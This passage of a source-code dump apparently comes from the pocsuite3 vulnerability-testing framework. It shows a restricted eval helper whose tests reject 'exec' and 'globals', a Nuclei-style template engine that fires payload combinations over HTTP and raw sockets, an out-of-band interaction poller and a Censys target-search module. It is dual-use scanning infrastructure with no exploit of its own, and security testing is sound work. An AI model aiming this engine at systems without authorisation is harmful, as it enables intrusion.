_check_expression(\"'x' in globals\", allowed_variables)\n    False\n    >>> _check_expression(\"'x' in [1,2,3]\", allowed_variables)\n    True\n    >>> _check_expression(\"c3=='chr1' and c5>5\", allowed_variables)\n    True\n    >>> _check_expression(\"c3=='chr1' and d5>5\", allowed_variables)  # Invalid d5 reference\n    False\n    >>> _check_expression(\"c3=='chr1' and c5>5 or exec\", allowed_variables)\n    False\n    >>> _check_expression(\"type(c1) != type(1)\", allowed_variables)\n    True\n    >>> _check_expression(\"c1.split(',')[1] == '1'\", allowed_variables)\n    True\n    >>> _check_expression(\"exec 1\", allowed_variables)\n    False\n    >>> _check_expression(\"str(c2) in [\\\\\\\"a\\\\\\\",\\\\\\\"b\\\\\\\"]\", allowed_variables)\n    True\n    \"\"\"\n    if allowed_variables is None:\n        allowed_variables = []\n    try:\n        module = parse(text)\n    except SyntaxError:\n        return False\n\n    if not isinstance(module, Module):\n        return False\n    statements = module.body\n    if not len(statements) == 1:\n        return False\n    expression = statements[0]\n    if expression.__class__.__name__ != \"Expr\":\n        return False\n\n    for ast_node in walk(expression):\n        ast_node_class = ast_node.__class__.__name__\n\n        # Toss out everything that is not a \"simple\" expression,\n        # imports, error handling, etc...\n        if ast_node_class not in AST_NODE_TYPE_ALLOWLIST:\n            return False\n\n        # White-list more potentially dangerous types AST elements.\n        if ast_node_class == \"Name\":\n            # In order to prevent loading 'exec', 'eval', etc...\n            # put string restriction on names allowed.\n            if not _check_name(ast_node, allowed_variables):\n                return False\n        # Check only valid, white-listed functions are called.\n        elif ast_node_class == \"Call\":\n            if not _check_call(ast_node, allowed_variables):\n                return False\n        # Check only valid, white-listed attributes are accessed\n        elif ast_node_class == \"Attribute\":\n            if not _check_attribute(ast_node):\n                return False\n\n    return True\n\n\ndef convert_logical_operators(expression: str) -> str:\n    \"\"\"\n    TODO, needs to be optimized in the future\n    https://www.dabeaz.com/ply/ply.html#ply_nn26\n    \"\"\"\n    return_bool_func = [\n        'compare_versions', 'contains', 'contains_all', 'contains_any', 'regex',\n        'starts_with', 'line_starts_with', 'ends_with', 'line_ends_with'\n    ]\n    expression = re.sub(r'\\s+&&\\s+', ' and ', expression)\n    expression = re.sub(r'\\s+\\|\\|\\s+', ' or ', expression)\n    for f in return_bool_func:\n        expression = re.sub(fr'!\\s*{f}\\(', f'not {f}(', expression)\n    return expression\n\n\ndef safe_eval(expression, variables):\n    \"\"\"\n\n    >>> safe_eval(\"moo\", {\"moo\": 5})\n    5\n    >>> exception_thrown = False\n    >>> try: safe_eval(\"moo\", {\"cow\": 5})\n    ... except Exception as e: exception_thrown = True\n    >>> exception_thrown\n    True\n    \"\"\"\n    if not _check_expression(expression, allowed_variables=list(variables.keys())):\n        new_expression = convert_logical_operators(expression)\n        if expression != new_expression:\n            logger.debug(f'[+] Expressions convert: {expression} -> {new_expression}')\n        expression = new_expression\n        if not _check_expression(expression, allowed_variables=list(variables.keys())):\n            raise Exception(\n                f\"Invalid expression {expression}, possibly due to unsupported functions in the template or \"\n                \"unresolved variables. If you suspect this is a Pocsuite3 issue, please submit an issue on GitHub.\")\n    return eval(expression, globals(), variables)\n\n\nif __name__ == '__main__':\n    print(safe_eval(\"moo\", {\"moo\": 5}))\n"
  },
  {
    "path": "pocsuite3/lib/yaml/nuclei/protocols/common/generators/__init__.py",
    "content": "import itertools\nfrom collections import OrderedDict\n\nfrom pocsuite3.lib.core.common import check_file, get_file_items\nfrom pocsuite3.lib.yaml.nuclei.model import CaseInsensitiveEnum\n\n\nclass AttackType(CaseInsensitiveEnum):\n    BatteringRamAttack = \"batteringram\"\n    PitchForkAttack = \"pitchfork\"\n    ClusterBombAttack = \"clusterbomb\"\n\n\ndef payload_generator(payloads: dict, attack_type: AttackType) -> OrderedDict:\n    payloads_final = OrderedDict()\n    payloads_final.update(payloads)\n\n    for k, v in payloads_final.items():\n        if isinstance(v, str) and check_file(v):\n            payloads_final[k] = get_file_items(v)\n\n    payload_keys, payload_vals = payloads_final.keys(), payloads_final.values()\n    payload_vals = [i if isinstance(i, list) else [i] for i in payload_vals]\n\n    if attack_type == AttackType.PitchForkAttack:\n        for instance in zip(*payload_vals):\n            yield dict(zip(payload_keys, instance))\n    else:\n        for instance in itertools.product(*payload_vals):\n            yield dict(zip(payload_keys, instance))\n"
  },
  {
    "path": "pocsuite3/lib/yaml/nuclei/protocols/common/interactsh/__init__.py",
    "content": "from dataclasses import dataclass, field\n\nfrom pocsuite3.lib.core.log import LOGGER as logger\nfrom pocsuite3.modules.interactsh import Interactsh\n\n\n@dataclass\nclass InteractshClient:\n    client: Interactsh = field(default_factory=Interactsh)\n    interactsh_protocol: list = field(default_factory=list)\n    interactsh_request: list = field(default_factory=list)\n    interactsh_response: list = field(default_factory=list)\n\n    def poll(self) -> None:\n        results = self.client.poll()\n        for result in results:\n            logger.debug(result)\n            self.interactsh_protocol.append(result['protocol'])\n            self.interactsh_request.append(result['raw-request'])\n            self.interactsh_response.append(result['raw-response'])\n"
  },
  {
    "path": "pocsuite3/lib/yaml/nuclei/protocols/common/replacer/__init__.py",
    "content": "import json\n\nfrom pocsuite3.lib.yaml.nuclei.protocols.common.expressions import evaluate, UNRESOLVED_VARIABLE, Marker\n\n\nclass UnresolvedVariableException(Exception):\n    pass\n\n\ndef marker_replace(data, dynamic_values):\n    \"\"\"replaces placeholders in template with values\n    \"\"\"\n    data = json.dumps(data)\n    for k, v in dynamic_values.items():\n        if k in data:\n            data = data.replace(f'{Marker.General}{k}{Marker.General}', str(v))\n            data = data.replace(f'{Marker.ParenthesisOpen}{k}{Marker.ParenthesisClose}', str(v))\n\n    # execute various helper functions\n    data = evaluate(data, dynamic_values)\n\n    if UNRESOLVED_VARIABLE in data:\n        raise UnresolvedVariableException\n\n    return json.loads(data)\n"
  },
  {
    "path": "pocsuite3/lib/yaml/nuclei/protocols/http/__init__.py",
    "content": "from collections import OrderedDict\nfrom dataclasses import dataclass, field\nimport time\nfrom typing import Union, List, Optional\n\nfrom requests_toolbelt.utils import dump\n\nfrom pocsuite3.lib.core.data import AttribDict\nfrom pocsuite3.lib.core.log import LOGGER as logger\nfrom pocsuite3.lib.request import requests\nfrom pocsuite3.lib.yaml.nuclei.model import CaseInsensitiveEnum\nfrom pocsuite3.lib.yaml.nuclei.operators import (Extractor, ExtractorType,\n                                                 Matcher, MatcherType,\n                                                 extract_dsl, extract_json,\n                                                 extract_kval, extract_regex,\n                                                 extract_xpath, match_binary,\n                                                 match_dsl, match_regex,\n                                                 match_size, match_status_code,\n                                                 match_words, match_xpath)\nfrom pocsuite3.lib.yaml.nuclei.protocols.common.generators import AttackType, payload_generator\nfrom pocsuite3.lib.yaml.nuclei.protocols.common.interactsh import InteractshClient\nfrom pocsuite3.lib.yaml.nuclei.protocols.common.replacer import (\n    UnresolvedVariableException, UNRESOLVED_VARIABLE, marker_replace, Marker)\n\n\nclass HTTPMethod(CaseInsensitiveEnum):\n    HTTPGet = \"GET\"\n    HTTPHead = \"HEAD\"\n    HTTPPost = \"POST\"\n    HTTPPut = \"PUT\"\n    HTTPDelete = \"DELETE\"\n    HTTPConnect = \"CONNECT\"\n    HTTPOptions = \"OPTIONS\"\n    HTTPTrace = \"TRACE\"\n    HTTPPatch = \"PATCH\"\n    HTTPPurge = \"PURGE\"\n    HTTPDebug = \"DEBUG\"\n\n\n@dataclass\nclass HttpRequest:\n    \"\"\"HttpRequest contains a http request to be made from a template\n    \"\"\"\n\n    # Operators for the current request go here.\n    matchers: List[Matcher] = field(default_factory=list)\n    extractors: List[Extractor] = field(default_factory=list)\n    matchers_condition: str = 'or'\n\n    # Path contains the path/s for the HTTP requests. It supports variables as placeholders.\n    path: List[str] = field(default_factory=list)\n\n    # Raw contains HTTP Requests in Raw format.\n    raw: List[str] = field(default_factory=list)\n\n    # ID is the optional id of the request\n    id: str = ''\n\n    name: str = ''\n    # Attack is the type of payload combinations to perform.\n    attack: AttackType = AttackType.BatteringRamAttack\n\n    # Method is the HTTP Request Method.\n    method: Optional[HTTPMethod] = HTTPMethod.HTTPGet\n\n    # Body is an optional parameter which contains HTTP Request body.\n    body: str = ''\n\n    # Payloads contains any payloads for the current request.\n    payloads: dict = field(default_factory=dict)\n\n    # Headers contains HTTP Headers to send with the request.\n    headers: dict = field(default_factory=dict)\n\n    # RaceCount is the number of times to send a request in Race Condition Attack.\n    race_count: int = 0\n\n    # MaxRedirects is the maximum number of redirects that should be followed.\n    max_redirects: int = 0\n\n    # PipelineConcurrentConnections is number of connections to create during pipelining.\n    pipeline_concurrent_connections: int = 0\n\n    # PipelineRequestsPerConnection is number of requests to send per connection when pipelining.\n    pipeline_requests_per_connection: int = 0\n\n    # Threads specifies number of threads to use sending requests. This enables Connection Pooling.\n    threads: int = 0\n\n    # MaxSize is the maximum size of http response body to read in bytes.\n    max_size: int = 0\n\n    cookie_reuse: bool = False\n\n    read_all: bool = False\n    redirects: bool = False\n    host_redirects: bool = False\n    pipeline: bool = False\n    unsafe: bool = False\n    race: bool = False\n\n    # Request condition allows checking for condition between multiple requests for writing complex checks and\n    # exploits involving multiple HTTP request to complete the exploit chain.\n    req_condition: bool = False\n\n    stop_at_first_match: bool = True\n    skip_variables_check: bool = False\n    iterate_all: bool = False\n    digest_username: str = ''\n    digest_password: str = ''\n\n\ndef http_response_to_dsl_map(resp: requests.Response):\n    \"\"\"Converts an HTTP response to a map for use in DSL matching\n    \"\"\"\n    data = AttribDict()\n    if not isinstance(resp, requests.Response):\n        return data\n\n    for k, v in resp.cookies.items():\n        data[k.lower()] = v\n    for k, v in resp.headers.items():\n        data[k.lower().replace('-', '_')] = v\n\n    req_headers_raw = '\\n'.join(f'{k}: {v}' for k, v in resp.request.headers.items())\n    req_body = resp.request.body\n    if not req_body:\n        req_body = b''\n    if not isinstance(req_body, bytes):\n        req_body = req_body.encode()\n    resp_headers_raw = '\\n'.join(f'{k}: {v}' for k, v in resp.headers.items())\n    resp_body = resp.content\n\n    data['request'] = req_headers_raw.encode() + b'\\n\\n' + req_body\n    data['response'] = resp_headers_raw.encode() + b'\\n\\n' + resp_body\n    data['status_code'] = resp.status_code\n    data['body'] = resp_body\n    data['all_headers'] = resp_headers_raw\n    data['header'] = resp_headers_raw\n    data['kval_extractor_dict'] = {}\n    data['kval_extractor_dict'].update(resp.cookies)\n    data['kval_extractor_dict'].update(resp.headers)\n\n    return data\n\n\ndef http_get_match_part(part: str, resp_data: dict, return_bytes: bool = False) -> str:\n    result = ''\n    if part == '':\n        part = 'body'\n\n    if part in resp_data:\n        result = resp_data[part]\n\n    if return_bytes and not isinstance(result, bytes):\n        result = str(result).encode()\n    elif not return_bytes and isinstance(result, bytes):\n        try:\n            result = result.decode()\n        except UnicodeDecodeError:\n            result = str(result)\n    return result\n\n\ndef http_match(request: HttpRequest, resp_data: dict, interactsh=None):\n    matchers = request.matchers\n    matchers_result = []\n\n    if 'interactsh_' in str(matchers) and isinstance(interactsh, InteractshClient):\n        interactsh.poll()\n        resp_data['interactsh_protocol'] = '\\n'.join(interactsh.interactsh_protocol)\n        resp_data['interactsh_request'] = '\\n'.join(interactsh.interactsh_request)\n        resp_data['interactsh_response'] = '\\n'.join(interactsh.interactsh_response)\n    else:\n        resp_data['interactsh_protocol'] = ''\n        resp_data['interactsh_request'] = ''\n        resp_data['interactsh_response'] = ''\n\n    for i, matcher in enumerate(matchers):\n        matcher_res = False\n        item = http_get_match_part(matcher.part, resp_data, matcher.type == MatcherType.BinaryMatcher)\n\n        if matcher.type == MatcherType.StatusMatcher:\n            matcher_res = match_status_code(matcher, resp_data.get('status_code', 0))\n\n        elif matcher.type == MatcherType.SizeMatcher:\n            matcher_res = match_size(matcher, len(item))\n\n        elif matcher.type == MatcherType.WordsMatcher:\n            matcher_res, _ = match_words(matcher, item, resp_data)\n\n        elif matcher.type == MatcherType.RegexMatcher:\n            matcher_res, _ = match_regex(matcher, item)\n\n        elif matcher.type == MatcherType.BinaryMatcher:\n            matcher_res, _ = match_binary(matcher, item)\n\n        elif matcher.type == MatcherType.DSLMatcher:\n            matcher_res = match_dsl(matcher, resp_data)\n\n        elif matcher.type == MatcherType.XpathMatcher:\n            matcher_res, _ = match_xpath(matcher, item)\n\n        if matcher.negative:\n            matcher_res = not matcher_res\n\n        logger.debug(f'[+] {matcher} -> {matcher_res}')\n\n        if not matcher_res:\n            if request.matchers_condition == 'and':\n                return False\n            elif request.matchers_condition == 'or':\n                continue\n\n        if request.matchers_condition == 'or':\n            return True\n\n        matchers_result.append(matcher_res)\n\n        if len(matchers) - 1 == i:\n            return True\n\n    return False\n\n\ndef http_extract(request: HttpRequest, resp_data: dict):\n    extractors = request.extractors\n    extractors_result = {'internal': {}, 'external': {}, 'extra_info': []}\n\n    for extractor in extractors:\n        item = http_get_match_part(extractor.part, resp_data)\n\n        res = None\n        if extractor.type == ExtractorType.RegexExtractor:\n            res = extract_regex(extractor, item)\n        elif extractor.type == ExtractorType.KValExtractor:\n            res = extract_kval(extractor, resp_data.get('kval_extractor_dict', {}))\n        elif extractor.type == ExtractorType.XPathExtractor:\n            res = extract_xpath(extractor, item)\n        elif extractor.type == ExtractorType.JSONExtractor:\n            res = extract_json(extractor, item)\n        elif extractor.type == ExtractorType.DSLExtractor:\n            res = extract_dsl(extractor, resp_data)\n\n        logger.debug(f'[+] {extractor} -> {res}')\n        extractors_result['internal'].update(res['internal'])\n        extractors_result['external'].update(res['external'])\n        extractors_result['extra_info'] += res['extra_info']\n    return extractors_result\n\n\ndef extract_dict(text, line_sep='\\n', kv_sep='='):\n    \"\"\"Split the string into a dictionary according to the split method\n    \"\"\"\n    _dict = OrderedDict([i.split(kv_sep, 1) for i in text.split(line_sep)])\n    return _dict\n\n\ndef http_request_generator(request: HttpRequest, dynamic_values: OrderedDict):\n    request_count = len(request.path + request.raw)\n    # Determine the number of requests and modify the req_condition attribute of the HttpRequest object\n    if request_count > 1:\n        request.req_condition = True\n\n    for payload_instance in payload_generator(request.payloads, request.attack):\n        current_index = 0\n        dynamic_values.update(payload_instance)\n        for path in request.path + request.raw:\n            current_index += 1\n            method, url, headers, data, kwargs = '', '', '', '', OrderedDict()\n            # base request\n            username, password = request.digest_username, request.digest_password\n            if path.startswith(Marker.ParenthesisOpen):\n                method = request.method.value\n                headers = request.headers\n                data = request.body\n                url = path\n\n            # raw\n            else:\n                raw = path.strip()\n                raws = list(map(lambda x: x.strip(), raw.splitlines()))\n                # Extract timeout value\n                if raws[0].startswith('@timeout'):\n                    timeout = Marker.extract_timeout_value(raws[0])\n                    del raws[0]\n                    method, path, _ = raws[0].split(' ')\n                    kwargs.setdefault('timeout', timeout)\n                else:\n                    method, path, _ = raws[0].split(' ')\n                if method == \"POST\":\n                    index = 0\n                    for i in raws:\n                        index += 1\n                        if i.strip() == \"\":\n                            break\n                    if len(raws) == index:\n                        raise Exception\n\n                    headers = raws[1:index - 1]\n                    headers = extract_dict('\\n'.join(headers), '\\n', \": \")\n                    data = '\\n'.join(raws[index:])\n                else:\n                    headers = extract_dict('\\n'.join(raws[1:]), '\\n', \": \")\n\n                url = f'{Marker.ParenthesisOpen}BaseURL{Marker.ParenthesisClose}{path}'\n\n            kwargs.setdefault('allow_redirects', request.redirects)\n            kwargs.setdefault('data', data)\n            kwargs.setdefault('headers', headers)\n            if username or password:\n                kwargs.setdefault('auth', (username, password))\n            try:\n                url = marker_replace(url, dynamic_values)\n                kwargs = marker_replace(kwargs, dynamic_values)\n            except UnresolvedVariableException:\n                continue\n\n            if 'auth' in kwargs:\n                kwargs['auth'] = tuple(kwargs['auth'])\n            yield method, url, kwargs, payload_instance, request_count, current_index\n\n\ndef execute_http_request(request: HttpRequest, dynamic_values, interactsh) -> Union[bool, list]:\n    results = []\n    resp_data_all = {}\n    with requests.Session() as session:\n        try:\n            for (method, url, kwargs, payload, request_count, current_index) in http_request_generator(\n                    request, dynamic_values):\n                try:\n                    # Redirection conditions can be specified per each template. By default, redirects are not\n                    # followed. However, if desired, they can be enabled with redirects: true in request details. 10\n                    # redirects are followed at maximum by default which should be good enough for most use cases.\n                    # More fine grained control can be exercised over number of redirects followed by using\n                    # max-redirects field.\n\n                    if request.max_redirects:\n                        session.max_redirects = request.max_redirects\n                    else:\n                        session.max_redirects = 10\n\n                    # Calculate response time\n                    start_time = time.time()\n                    response = session.request(method=method, url=url, **kwargs)\n                    end_time = time.time()\n                    resp_time = end_time - start_time\n\n                    # for debug purpose\n                    try:\n                        logger.debug(dump.dump_all(response).decode('utf-8'))\n                    except UnicodeDecodeError:\n                        logger.debug(dump.dump_all(response))\n\n                except Exception:\n                    import traceback\n                    traceback.print_exc()\n                    response = None\n\n                resp_data = http_response_to_dsl_map(response)\n                if response is not None:\n                    resp_data['duration'] = resp_time\n\n                if response:\n                    response.close()\n\n                extractor_res = http_extract(request, resp_data)\n                for k, v in extractor_res['internal'].items():\n                    if v == UNRESOLVED_VARIABLE and k in dynamic_values:\n                        continue\n                    else:\n                        dynamic_values[k] = v\n\n                if request.req_condition:\n                    resp_data_all.update(resp_data)\n                    for k, v in resp_data.items():\n                        resp_data_all[f'{k}_{current_index}'] = v\n                    if current_index == request_count:\n                        resp_data_all.update(dynamic_values)\n                        match_res = http_match(request, resp_data_all, interactsh)\n                        resp_data_all = {}\n                        if match_res:\n                            output = {}\n                            output.update(extractor_res['external'])\n                            output.update(payload)\n                            output['extra_info'] = extractor_res['extra_info']\n                            results.append(output)\n                            if request.stop_at_first_match:\n                                return results\n                else:\n                    resp_data.update(dynamic_values)\n                    match_res = http_match(request, resp_data, interactsh)\n                    if match_res:\n                        output = {}\n                        output.update(extractor_res['external'])\n                        output.update(payload)\n                        output['extra_info'] = extractor_res['extra_info']\n                        results.append(output)\n                        if request.stop_at_first_match:\n                            return results\n        except Exception:\n            import traceback\n            traceback.print_exc()\n        if results and any(results):\n            return results\n        else:\n            return False\n"
  },
  {
    "path": "pocsuite3/lib/yaml/nuclei/protocols/network/__init__.py",
    "content": "import binascii\nimport json\nimport socket\nimport ssl\nimport time\nfrom collections import OrderedDict\nfrom dataclasses import dataclass, field\nfrom typing import Union, List\n\nfrom pocsuite3.lib.core.common import urlparse\nfrom pocsuite3.lib.core.log import LOGGER as logger\nfrom pocsuite3.lib.yaml.nuclei.model import CaseInsensitiveEnum\nfrom pocsuite3.lib.yaml.nuclei.operators import (Extractor, ExtractorType,\n                                                 Matcher, MatcherType,\n                                                 extract_dsl, extract_kval, extract_regex,\n                                                 match_binary,\n                                                 match_dsl, match_regex,\n                                                 match_size, match_words, match_xpath)\nfrom pocsuite3.lib.yaml.nuclei.protocols.common.generators import AttackType, payload_generator\nfrom pocsuite3.lib.yaml.nuclei.protocols.common.interactsh import InteractshClient\nfrom pocsuite3.lib.yaml.nuclei.protocols.common.replacer import (\n    UNRESOLVED_VARIABLE, marker_replace)\n\n\nclass NetworkInputType(CaseInsensitiveEnum):\n    HexType = 'hex'\n    TextType = 'text'\n\n\n@dataclass\nclass AddressKV:\n    address: str = ''\n    host: str = ''\n    port: int = 0\n    tls: bool = False\n\n\n@dataclass\nclass Input:\n    \"\"\"Input is the input to send on the network\n    \"\"\"\n\n    # Data is the data to send as the input.\n    # It supports DSL Helper Functions as well as normal expressions.\n    data: Union[str, int] = ''\n\n    # Type is the type of input specified in `data` field.\n    type: NetworkInputType = NetworkInputType.TextType\n\n    # Read is the number of bytes to read from socket.\n    read: int = 0\n\n    # Name is the optional name of the data read to provide matching on.\n    name: str = ''\n\n\n@dataclass\nclass NetworkRequest:\n    \"\"\"NetworkRequest contains a Network protocol request to be made from a template\n    \"\"\"\n\n    # Operators for the current request go here.\n    matchers: List[Matcher] = field(default_factory=list)\n    extractors: List[Extractor] = field(default_factory=list)\n    matchers_condition: str = 'or'\n\n    # Host to send network requests to.\n    host: List[str] = field(default_factory=list)\n\n    addresses: List[AddressKV] = field(default_factory=list)\n\n    # ID is the optional id of the request\n    id: str = ''\n\n    # Attack is the type of payload combinations to perform.\n    attack: AttackType = AttackType.BatteringRamAttack\n\n    # Payloads contains any payloads for the current request.\n    payloads: dict = field(default_factory=dict)\n\n    # Inputs contains inputs for the network socket\n    inputs: List[Input] = field(default_factory=list)\n\n    # ReadSize is the size of response to read at the end, Default value for read-size is 1024.\n    read_size: int = 1024\n\n    # ReadAll determines if the data stream should be read till the end regardless of the size\n    read_all: bool = False\n\n\ndef network_get_match_part(part: str, resp_data: dict, return_bytes: bool = False) -> str:\n    result = ''\n    if part in ['', 'all', 'body']:\n        part = 'data'\n\n    if part in resp_data:\n        result = resp_data[part]\n\n    if return_bytes and not isinstance(result, bytes):\n        result = str(result).encode()\n    elif not return_bytes and isinstance(result, bytes):\n        try:\n            result = result.decode()\n        except UnicodeDecodeError:\n            result = str(result)\n    return result\n\n\ndef network_extract(request: NetworkRequest, resp_data: dict):\n    extractors = request.extractors\n    extractors_result = {'internal': {}, 'external': {}, 'extra_info': []}\n\n    for extractor in extractors:\n        item = network_get_match_part(extractor.part, resp_data)\n\n        res = None\n        if extractor.type == ExtractorType.RegexExtractor:\n            res = extract_regex(extractor, item)\n        elif extractor.type == ExtractorType.KValExtractor:\n            try:\n                item = json.loads(item)\n            except json.JSONDecodeError:\n                continue\n            res = extract_kval(extractor, item)\n        elif extractor.type == ExtractorType.DSLExtractor:\n            res = extract_dsl(extractor, resp_data)\n\n        logger.debug(f'[+] {extractor} -> {res}')\n        extractors_result['internal'].update(res['internal'])\n        extractors_result['external'].update(res['external'])\n        extractors_result['extra_info'] += res['extra_info']\n    return extractors_result\n\n\ndef network_match(request: NetworkRequest, resp_data: dict, interactsh=None):\n    matchers = request.matchers\n    matchers_result = []\n\n    if 'interactsh_' in str(matchers) and isinstance(interactsh, InteractshClient):\n        interactsh.poll()\n        resp_data['interactsh_protocol'] = '\\n'.join(interactsh.interactsh_protocol)\n        resp_data['interactsh_request'] = '\\n'.join(interactsh.interactsh_request)\n        resp_data['interactsh_response'] = '\\n'.join(interactsh.interactsh_response)\n    else:\n        resp_data['interactsh_protocol'] = ''\n        resp_data['interactsh_request'] = ''\n        resp_data['interactsh_response'] = ''\n\n    for i, matcher in enumerate(matchers):\n        matcher_res = False\n        item = network_get_match_part(matcher.part, resp_data, matcher.type == MatcherType.BinaryMatcher)\n\n        if matcher.type == MatcherType.SizeMatcher:\n            matcher_res = match_size(matcher, len(item))\n\n        elif matcher.type == MatcherType.WordsMatcher:\n            matcher_res, _ = match_words(matcher, item, resp_data)\n\n        elif matcher.type == MatcherType.RegexMatcher:\n            matcher_res, _ = match_regex(matcher, item)\n\n        elif matcher.type == MatcherType.BinaryMatcher:\n            matcher_res, _ = match_binary(matcher, item)\n\n        elif matcher.type == MatcherType.XpathMatcher:\n            matcher_res, _ = match_xpath(matcher, item)\n\n        elif matcher.type == MatcherType.DSLMatcher:\n            matcher_res = match_dsl(matcher, resp_data)\n\n        if matcher.negative:\n            matcher_res = not matcher_res\n\n        logger.debug(f'[+] {matcher} -> {matcher_res}')\n\n        if not matcher_res:\n            if request.matchers_condition == 'and':\n                return False\n            elif request.matchers_condition == 'or':\n                continue\n\n        if request.matchers_condition == 'or':\n            return True\n\n        matchers_result.append(matcher_res)\n\n        if len(matchers) - 1 == i:\n            return True\n\n    return False\n\n\ndef network_request_generator(request: NetworkRequest, dynamic_values: OrderedDict):\n    request_count = len(request.addresses)\n    for payload_instance in payload_generator(request.payloads, request.attack):\n        current_index = 0\n        dynamic_values.update(payload_instance)\n        for address in request.addresses:\n            current_index += 1\n            yield address, request.inputs, payload_instance, request_count, current_index\n\n\ndef execute_network_request(request: NetworkRequest, dynamic_values, interactsh) -> Union[bool, list]:\n    results = []\n    for h in request.host:\n        use_tls = False\n        if h.startswith('tls://'):\n            use_tls = True\n            h = h.replace('tls://', '')\n        address = marker_replace(h, dynamic_values)\n        host, port = urlparse(address).hostname, urlparse(address).port\n        address = AddressKV(address=address, host=host, port=port, tls=use_tls)\n        request.addresses.append(address)\n\n    for (address, inputs, payload, request_count, current_index) in network_request_generator(request, dynamic_values):\n        try:\n            req_buf, resp_buf = [], []\n            resp_data = {'host': address.address}\n            s = socket.socket()\n            s.connect((address.host, address.port))\n            if address.tls:\n                ssl.wrap_socket(s)\n            for inp in inputs:\n                data = marker_replace(inp.data, dynamic_values)\n                if isinstance(data, int):\n                    data = str(data)\n                if inp.type == NetworkInputType.HexType:\n                    data = binascii.unhexlify(data)\n                elif not isinstance(data, bytes):\n                    data = data.encode('utf-8')\n\n                if inp.read > 0:\n                    chunk = s.recv(inp.read)\n                    resp_buf.append(chunk)\n                    if inp.name:\n                        resp_data[inp.name] = chunk\n\n                req_buf.append(data)\n                s.send(data)\n                time.sleep(0.1)\n\n            last_bytes = []\n            if request.read_all:\n                while True:\n                    chunk = s.recv(1024)\n                    if not chunk:\n                        break\n                    last_bytes.append(chunk)\n            else:\n                chunk = s.recv(request.read_size)\n                last_bytes.append(chunk)\n\n            # response to DSL Map\n            resp_buf += last_bytes\n            resp_data['request'] = b''.join(req_buf)\n            resp_data['data'] = b''.join(last_bytes)\n            resp_data['raw'] = b''.join(resp_buf)\n            logger.debug(resp_data)\n\n            extractor_res = network_extract(request, resp_data)\n\n            for k, v in extractor_res['internal'].items():\n                if v == UNRESOLVED_VARIABLE and k in dynamic_values:\n                    continue\n                else:\n                    dynamic_values[k] = v\n\n            resp_data.update(dynamic_values)\n            match_res = network_match(request, resp_data, interactsh)\n            if match_res:\n                output = {}\n                output.update(extractor_res['external'])\n                output.update(payload)\n                output['extra_info'] = extractor_res['extra_info']\n                results.append(output)\n                return results\n        except Exception:\n            import traceback\n            traceback.print_exc()\n\n    return False\n"
  },
  {
    "path": "pocsuite3/lib/yaml/nuclei/templates/__init__.py",
    "content": "from dataclasses import dataclass, field\nfrom typing import List\n\nfrom pocsuite3.lib.yaml.nuclei.model import Info, CaseInsensitiveEnum\nfrom pocsuite3.lib.yaml.nuclei.protocols.http import HttpRequest\nfrom pocsuite3.lib.yaml.nuclei.protocols.network import NetworkRequest\n\n\nclass ProtocolType(CaseInsensitiveEnum):\n    InvalidProtocol = \"invalid\"\n    DNSProtocol = \"dns\"\n    FileProtocol = \"file\"\n    HTTPProtocol = \"http\"\n    HeadlessProtocol = \"headless\"\n    NetworkProtocol = \"network\"\n    WorkflowProtocol = \"workflow\"\n    SSLProtocol = \"ssl\"\n    WebsocketProtocol = \"websocket\"\n    WHOISProtocol = \"whois\"\n\n\n@dataclass\nclass Template:\n    \"\"\"Template is a YAML input file which defines all the requests and other metadata for a template.\n    \"\"\"\n    id: str = ''\n    info: Info = field(default_factory=Info)\n    requests: List[HttpRequest] = field(default_factory=list)\n    network: List[NetworkRequest] = field(default_factory=list)\n    stop_at_first_match: bool = True\n    variables: dict = field(default_factory=dict)\n"
  },
  {
    "path": "pocsuite3/modules/__init__.py",
    "content": ""
  },
  {
    "path": "pocsuite3/modules/censys/__init__.py",
    "content": "import time\nimport getpass\nfrom configparser import ConfigParser\nfrom pocsuite3.lib.core.data import paths, logger\nfrom pocsuite3.lib.core.common import is_ipv6_address_format\nfrom pocsuite3.api import requests\n\n\nclass Censys():\n    def __init__(self, conf_path=paths.POCSUITE_RC_PATH, uid='', secret=''):\n        self.headers = {'User-Agent': 'curl/7.80.0', 'Accept': 'application/json'}\n        self.uid = uid\n        self.secret = secret\n        self.conf_path = conf_path\n        self.credits = 0\n        if self.conf_path:\n            self.parser = ConfigParser()\n            self.parser.read(self.conf_path)\n            try:\n                self.uid = self.uid or self.parser.get(\"Censys\", \"uid\")\n                self.secret = self.secret or self.parser.get(\"Censys\", \"secret\")\n            except Exception:\n                pass\n\n        self.check_token()\n\n    def token_is_available(self):\n        if self.secret and self.uid:\n            try:\n                resp = requests.get(\"https://search.censys.io/api/v1/account\", auth=(self.uid, self.secret),\n                                    headers=self.headers)\n                if resp.status_code == 200 and 'allowance' in resp.text:\n                    js = resp.json()\n                    logger.info(\"[PLUGIN] Censys login success, email: {}\".format(js[\"email\"]))\n                    self.credits = js[\"quota\"][\"allowance\"] - js[\"quota\"][\"used\"]\n                    return True\n                else:\n                    logger.info(resp.text)\n            except Exception as ex:\n                logger.error(ex)\n        return False\n\n    def check_token(self):\n        if self.token_is_available():\n            return True\n        while True:\n            new_UID = input(\"Censys API ID: \")\n            new_secret = getpass.getpass(\"Censys API SECRET: (input will hidden)\")\n            self.uid = new_UID\n            self.secret = new_secret\n            if self.token_is_available():\n                self.write_conf()\n                return True\n            else:\n                logger.error(\"The censys api id or secret are incorrect, Please enter a correct one.\")\n\n    def write_conf(self):\n        if not self.parser.has_section(\"Censys\"):\n            self.parser.add_section(\"Censys\")\n        try:\n            self.parser.set(\"Censys\", \"secret\", self.secret)\n            self.parser.set(\"Censys\", \"uid\", self.uid)\n            self.parser.write(open(self.conf_path, \"w\"))\n        except Exception as ex:\n            logger.error(str(ex))\n\n    def search(self, dork, pages=1, resource='ipv4'):\n        search_result = set()\n        try:\n            cursor = ''\n            for page in range(1, pages + 1):\n                time.sleep(1)\n                url = \"https://search.censys.io/api/v2/hosts/search\"\n                data = {\n                    \"q\": dork,  # Search keywords\n                    \"per_page\": 50,\n                    \"virtual_hosts\": \"EXCLUDE\"\n                }\n                if cursor:\n                    data['cursor'] = cursor\n                resp = requests.get(url, params=data, auth=(self.uid, self.secret),\n                                    headers=self.headers, timeout=60)\n                if resp and resp.status_code == 200 and 'result' in resp.json():\n                    results = resp.json()['result']['hits']\n                    cursor = resp.json()['result']['links']['next']\n                    for i in results:\n                        ip = i['ip']\n                        if is_ipv6_address_format(ip):\n                            ip = f'[{ip}]'\n                        for j in i['services']:\n                            port = j['port']\n                            scheme = j['service_name'].lower()\n                            search_result.add(f'{scheme}://{ip}:{port}' if scheme else f'{ip}:{port}')\n    